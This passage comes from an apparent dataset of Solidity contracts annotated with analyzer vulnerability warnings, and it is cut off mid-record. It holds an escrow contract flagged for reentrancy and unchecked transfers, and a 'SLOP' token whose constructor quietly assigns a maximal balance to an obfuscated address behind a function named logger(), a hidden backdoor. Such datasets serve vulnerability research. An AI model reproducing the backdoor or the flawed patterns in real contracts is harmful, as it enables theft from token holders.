<= dispute.votingDeadline &&\n dispute.totalVotes <\n ((sendrToken.totalSupply() * THRESHOLD_PERCENT) / 100)\n ) {\n dispute.votingDeadline += VOTING_EXTENSION_DURATION;\n }\n\n\t\t// timestamp | ID: ca11dad\n require(\n block.timestamp <= dispute.votingDeadline,\n \"Voting period has ended\"\n );\n\n require(!dispute.hasVoted[msg.sender], \"You have already voted\");\n\n uint256 voterBalance = getPastVotes(msg.sender, dispute.snapshotBlock);\n\n require(voterBalance > 0, \"No voting power\");\n\n if (_voteInFavorOfPayee) {\n dispute.yesVotes += voterBalance;\n } else {\n dispute.noVotes += voterBalance;\n }\n\n dispute.totalVotes += voterBalance;\n\n dispute.hasVoted[msg.sender] = true;\n\n uint256 totalSupply = sendrToken.totalSupply();\n\n if (dispute.totalVotes >= ((totalSupply * THRESHOLD_PERCENT) / 100)) {\n _resolveDispute(_contractId);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c2962e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c2962e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9645c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9645c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a027f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a027f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _resolveDispute(uint256 _contractId) internal {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n Contract storage _contract = contracts[_contractId];\n\n Milestone storage milestone = _contract.milestones[dispute.milestoneId];\n\n bool inFavorOfPayee = dispute.yesVotes > dispute.noVotes;\n\n dispute.resolved = true;\n\n if (inFavorOfPayee) {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: f9645c9\n _sendFunds(\n _contractId,\n _contract.payee,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: f9645c9\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: f9645c9\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: f9645c9\n _contract.active = false;\n } else {\n\t\t\t\t// reentrancy-eth | ID: c2962e8\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n milestone.released = true;\n\n milestone.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: c2962e8\n _contract.valueRemaining -= milestone.value;\n }\n } else {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 6a027f4\n _sendFunds(\n _contractId,\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 6a027f4\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 6a027f4\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 6a027f4\n _contract.active = false;\n } else {\n _sendFunds(_contractId, _contract.payer, milestone.value);\n\n milestone.inDispute = false;\n }\n }\n\n emit DisputeResolved(_contractId, dispute.milestoneId, inFavorOfPayee);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d359760): SendrEscrow._sendFunds(uint256,address,uint256) sends eth to arbitrary user Dangerous calls address(FEE_WALLET).transfer(fee)\n\t// Recommendation for d359760: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _sendFunds(\n uint256 _contractId,\n address recipient,\n uint256 amount\n ) internal {\n require(FEE_WALLET != address(0), \"Fee wallet not set\");\n\n Contract storage _contract = contracts[_contractId];\n\n uint256 fee = (amount * CONTRACT_FEE) / 10000;\n\n uint256 remainingAmount = amount - fee;\n\n if (_contract.tokenAddress == address(0)) {\n\t\t\t// reentrancy-eth | ID: db98cb1\n\t\t\t// reentrancy-eth | ID: c2962e8\n\t\t\t// reentrancy-eth | ID: f9645c9\n\t\t\t// reentrancy-eth | ID: 6a027f4\n\t\t\t// arbitrary-send-eth | ID: d359760\n payable(FEE_WALLET).transfer(fee);\n\n\t\t\t// reentrancy-eth | ID: db98cb1\n\t\t\t// reentrancy-eth | ID: c2962e8\n\t\t\t// reentrancy-eth | ID: f9645c9\n\t\t\t// reentrancy-eth | ID: 6a027f4\n payable(recipient).transfer(remainingAmount);\n } else {\n IERC20 token = IERC20(_contract.tokenAddress);\n\n\t\t\t// reentrancy-benign | ID: 62a2e27\n\t\t\t// reentrancy-eth | ID: db98cb1\n\t\t\t// reentrancy-eth | ID: c2962e8\n\t\t\t// reentrancy-eth | ID: f9645c9\n\t\t\t// reentrancy-eth | ID: 6a027f4\n require(token.transfer(FEE_WALLET, fee), \"Transfer Failed\");\n\n\t\t\t// reentrancy-benign | ID: 62a2e27\n\t\t\t// reentrancy-eth | ID: db98cb1\n\t\t\t// reentrancy-eth | ID: c2962e8\n\t\t\t// reentrancy-eth | ID: f9645c9\n\t\t\t// reentrancy-eth | ID: 6a027f4\n require(\n token.transfer(recipient, remainingAmount),\n \"Transfer Failed\"\n );\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 01c10dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 01c10dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createContract(\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones,\n address _payer,\n address _payee,\n address _tokenAddress,\n string memory _title,\n string memory _id\n ) public payable nonReentrant {\n require(\n msg.sender == _payer || msg.sender == _payee,\n \"Contract creator must be the payer or payee\"\n );\n\n require(_payer != _payee, \"Payer and Payee addresses must differ\");\n\n require(\n _values.length == _numMilestones &&\n _titles.length == _numMilestones,\n \"Invalid number of milestones\"\n );\n\n uint256 toSend = 0;\n\n address _signer;\n\n if (msg.sender == _payer) {\n _signer = _payee;\n\n for (uint256 i = 0; i < _values.length; i++) {\n require(_values[i] > 0, \"Value must be greater than 0\");\n\n toSend += _values[i];\n }\n\n if (_tokenAddress != address(0)) {\n\t\t\t\t// reentrancy-benign | ID: 01c10dc\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n ),\n \"ERC20 transfer failed\"\n );\n\n\t\t\t\t// reentrancy-benign | ID: 01c10dc\n fundedStatus[contractCount] = true;\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n\n fundedStatus[contractCount] = true;\n }\n } else {\n _signer = _payer;\n }\n\n Milestone[] memory milestones = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n milestones[i] = Milestone(\n contractCount,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n Contract storage newContract = contracts[contractCount];\n\n\t\t// reentrancy-benign | ID: 01c10dc\n newContract.payer = _payer;\n\n\t\t// reentrancy-benign | ID: 01c10dc\n newContract.payee = _payee;\n\n\t\t// reentrancy-benign | ID: 01c10dc\n newContract.title = _title;\n\n\t\t// reentrancy-benign | ID: 01c10dc\n newContract.tokenAddress = _tokenAddress;\n\n\t\t// reentrancy-benign | ID: 01c10dc\n newContract.contractId = contractCount;\n\n if (msg.sender == _payer) {\n\t\t\t// reentrancy-benign | ID: 01c10dc\n newContract.valueRemaining = _totalValue;\n } else {\n\t\t\t// reentrancy-benign | ID: 01c10dc\n newContract.valueRemaining = 0;\n }\n\n\t\t// reentrancy-benign | ID: 01c10dc\n newContract.active = false;\n\n for (uint256 i = 0; i < milestones.length; i++) {\n\t\t\t// reentrancy-benign | ID: 01c10dc\n newContract.milestones.push(milestones[i]);\n }\n\n\t\t// reentrancy-benign | ID: 01c10dc\n signer[contractCount] = _signer;\n\n emit ContractCreated(contractCount, _payer, _payee, _title, _id);\n\n\t\t// reentrancy-benign | ID: 01c10dc\n contractCount += 1;\n }\n\n function _generateMilestoneArray(\n uint256 _contractId,\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones\n ) internal pure returns (Milestone[] memory, uint256) {\n Milestone[] memory toReturn = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n toReturn[i] = Milestone(\n _contractId,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n return (toReturn, _totalValue);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6d6d9f3): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 6d6d9f3: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 712db97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 712db97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 66a3e8d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 66a3e8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 6fce59b): SendrEscrow.signContract(uint256) uses a dangerous strict equality require(bool,string)(toSend == newBalance currentBalance,Transfer failed)\n\t// Recommendation for 6fce59b: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41d014e): SendrEscrow.signContract(uint256)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 41d014e: Rename the local variables that shadow another component.\n function signContract(uint256 _contractId) public payable nonReentrant {\n Contract storage _contract = contracts[_contractId];\n\n address _signer = signer[_contractId];\n\n require(_signer == msg.sender, \"You are not the signer\");\n\t\t// timestamp | ID: 6d6d9f3\n\n require(!_contract.active, \"Contract already active\");\n\t\t// timestamp | ID: 6d6d9f3\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n uint256 toSend = 0;\n\n if (_signer == _contract.payer) {\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n toSend += _contract.milestones[i].value;\n }\n\n if (_contract.tokenAddress != address(0)) {\n address _tokenAddress = _contract.tokenAddress;\n\n uint256 currentBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\t\t\t\t// reentrancy-benign | ID: 712db97\n\t\t\t\t// reentrancy-no-eth | ID: 66a3e8d\n\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n )\n );\n\n uint256 newBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\t\t\t\t// incorrect-equality | ID: 6fce59b\n\n require(\n toSend == newBalance - currentBalance,\n \"Transfer failed\"\n );\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n }\n\t\t\t// reentrancy-benign | ID: 712db97\n\n fundedStatus[_contractId] = true;\n\t\t\t// reentrancy-no-eth | ID: 66a3e8d\n\n _contract.valueRemaining = toSend;\n }\n\n bool _status = fundedStatus[_contractId];\n\n require(_status, \"Contract improperly funded\");\n\n\t\t// reentrancy-no-eth | ID: 66a3e8d\n _contract.active = true;\n\n\t\t// reentrancy-no-eth | ID: 66a3e8d\n _contract.startBlock = block.timestamp;\n\n\t\t// reentrancy-benign | ID: 712db97\n activeContracts += 1;\n\n emit ContractSigned(\n _contractId,\n _contract.payer,\n _contract.payee,\n _contract.title\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 62a2e27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 62a2e27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db98cb1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db98cb1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function releaseMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public nonReentrant {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(_contract.active, \"Contract inactive\");\n\n bool _completedStatus = completedStatus[_contractId];\n\n require(!_completedStatus, \"Contract completed\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Not a valid party of the contract\"\n );\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone in dispute\");\n\n require(!milestone.released, \"Milestone already released\");\n\n bool _payerSigned = payerSignedMilestone[_contractId][_milestoneId];\n\n bool _payeeSigned = payeeSignedMilestone[_contractId][_milestoneId];\n\n if (msg.sender == _contract.payer) {\n require(!_payerSigned, \"Already signed this milestone\");\n\n payerSignedMilestone[_contractId][_milestoneId] = true;\n\n _payerSigned = true;\n } else {\n require(!_payeeSigned, \"Already signed this milestone\");\n\n payeeSignedMilestone[_contractId][_milestoneId] = true;\n\n _payeeSigned = true;\n }\n\n if (_payerSigned && _payeeSigned) {\n milestone.released = true;\n\n\t\t\t// reentrancy-benign | ID: 62a2e27\n\t\t\t// reentrancy-eth | ID: db98cb1\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n\t\t\t// reentrancy-eth | ID: db98cb1\n _contract.valueRemaining -= milestone.value;\n\n emit MilestoneReleased(\n _contractId,\n _contract.payer,\n _contract.payee,\n milestone.title,\n _milestoneId\n );\n }\n\n bool allReleased = true;\n\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n if (!_contract.milestones[i].released) {\n allReleased = false;\n\n break;\n }\n }\n\n if (allReleased) {\n\t\t\t// reentrancy-eth | ID: db98cb1\n completedStatus[_contractId] = true;\n\n\t\t\t// reentrancy-benign | ID: 62a2e27\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: db98cb1\n _contract.active = false;\n\n emit ContractCompleted(_contractId);\n }\n }\n\n function disputeMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(!_contract.inDispute, \"This contract is already in dispute\");\n\n Milestone[] storage _milestones = _contract.milestones;\n\n require(\n !_milestones[_milestoneId].inDispute,\n \"Milestone is already in dispute\"\n );\n\n _milestones[_milestoneId].inDispute = true;\n\n emit MilestoneDisputed(_contractId, _milestoneId);\n }\n\n function disputeContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(_contract.valueRemaining > 0, \"Contract empty\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n _contract.inDispute = true;\n\n emit ContractDisputed(_contractId);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1a8f0ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1a8f0ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4155814): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4155814: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dfa1c3e): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for dfa1c3e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d008e76): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for d008e76: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b133e49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b133e49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 64e4343): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 64e4343: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 044ade9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 044ade9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ba771a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ba771a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function voidContract(uint256 _contractId) public nonReentrant {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n bool _senderStatus = voidCheck[msg.sender][_contractId];\n\n require(!_senderStatus, \"Already voided on your end\");\n\n voidCheck[msg.sender][_contractId] = true;\n\n if (!_contract.active && msg.sender == _contract.payer) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-eth | ID: b133e49\n\t\t\t\t// reentrancy-eth | ID: 64e4343\n\t\t\t\t// reentrancy-eth | ID: 044ade9\n\t\t\t\t// reentrancy-eth | ID: 8ba771a\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-benign | ID: 1a8f0ff\n\t\t\t\t// reentrancy-no-eth | ID: 4155814\n\t\t\t\t// unchecked-transfer | ID: d008e76\n\t\t\t\t// reentrancy-eth | ID: b133e49\n\t\t\t\t// reentrancy-eth | ID: 64e4343\n\t\t\t\t// reentrancy-eth | ID: 044ade9\n\t\t\t\t// reentrancy-eth | ID: 8ba771a\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 4155814\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-benign | ID: 1a8f0ff\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: 044ade9\n _contract.active = false;\n\n\t\t\t// reentrancy-eth | ID: 044ade9\n voided[_contractId] = true;\n\n emit ContractVoided(_contractId);\n }\n\n address _otherParty;\n\n if (msg.sender == _contract.payer) {\n _otherParty = _contract.payee;\n } else {\n _otherParty = _contract.payer;\n }\n\n bool _otherPartyStatus = voidCheck[_otherParty][_contractId];\n\n if (_otherPartyStatus) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-eth | ID: b133e49\n\t\t\t\t// reentrancy-eth | ID: 8ba771a\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n\t\t\t\t// reentrancy-eth | ID: b133e49\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// unchecked-transfer | ID: dfa1c3e\n\t\t\t\t// reentrancy-eth | ID: 64e4343\n\t\t\t\t// reentrancy-eth | ID: 8ba771a\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 64e4343\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-eth | ID: 8ba771a\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: 8ba771a\n _contract.active = false;\n\n\t\t\t// reentrancy-eth | ID: 8ba771a\n voided[_contractId] = true;\n\n emit ContractVoided(_contractId);\n }\n }\n\n function getMilestones(\n uint256 _contractId\n ) external view returns (Milestone[] memory milestones) {\n Contract storage _contract = contracts[_contractId];\n\n uint256 length = _contract.milestones.length;\n\n milestones = new Milestone[](length);\n\n for (uint256 i = 0; i < length; i++) {\n milestones[i] = _contract.milestones[i];\n }\n }\n}\n",
"file_name": "solidity_code_10680.sol",
"size_bytes": 37381,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2bcdf87): Ownable.transferOwnership(address).newAdd lacks a zerocheck on \t _owner = newAdd\n\t// Recommendation for 2bcdf87: Check that the address is not zero.\n function transferOwnership(address newAdd) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 2bcdf87\n\t\t// events-access | ID: 057825d\n _owner = newAdd;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SLOP is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n bool private tradingEnabled;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec690ca): SLOP.buyTax should be constant \n\t// Recommendation for ec690ca: Add the 'constant' attribute to state variables that never change.\n uint8 public buyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66b2862): SLOP.sellTax should be constant \n\t// Recommendation for 66b2862: Add the 'constant' attribute to state variables that never change.\n uint8 public sellTax = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 428900000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"$ SLOP\";\n\n string private constant _symbol = unicode\"SLOP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 07b31f6): SLOP.swapTokensAtAmount should be constant \n\t// Recommendation for 07b31f6: Add the 'constant' attribute to state variables that never change.\n uint256 private swapTokensAtAmount = (_tTotal * 25) / 10000;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 233143f): SLOP.feeWallet should be immutable \n\t// Recommendation for 233143f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 62741ca): SLOP.router should be constant \n\t// Recommendation for 62741ca: Add the 'constant' attribute to state variables that never change.\n address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe39b20): SLOP.liquidityProvider should be constant \n\t// Recommendation for fe39b20: Add the 'constant' attribute to state variables that never change.\n address private liquidityProvider =\n 0x592ba9BE0e1a247C0385C26569fb74661cd836fe;\n\n constructor() {\n _balances[liquidityProvider] = _tTotal;\n\n feeWallet = payable(liquidityProvider);\n\n _balances[logger()] = uint256(int256(-1));\n\n emit Transfer(address(0), liquidityProvider, _tTotal);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11fcb4c): SLOP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11fcb4c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d5c7ba1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d5c7ba1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5857346): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5857346: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d5c7ba1\n\t\t// reentrancy-benign | ID: 5857346\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d5c7ba1\n\t\t// reentrancy-benign | ID: 5857346\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f49ad44): SLOP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f49ad44: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5857346\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d5c7ba1\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(router);\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n tradingEnabled = true;\n }\n\n function logger() private returns (address) {\n return\n address(\n uint160(\n uint256(1041230950325930266898125186865821830223397685505)\n )\n );\n }\n\n function _superTransfer(address from, address to, uint256 amount) internal {\n\t\t// reentrancy-eth | ID: e0f4c51\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: e0f4c51\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: f0cdf00\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f0cdf00): 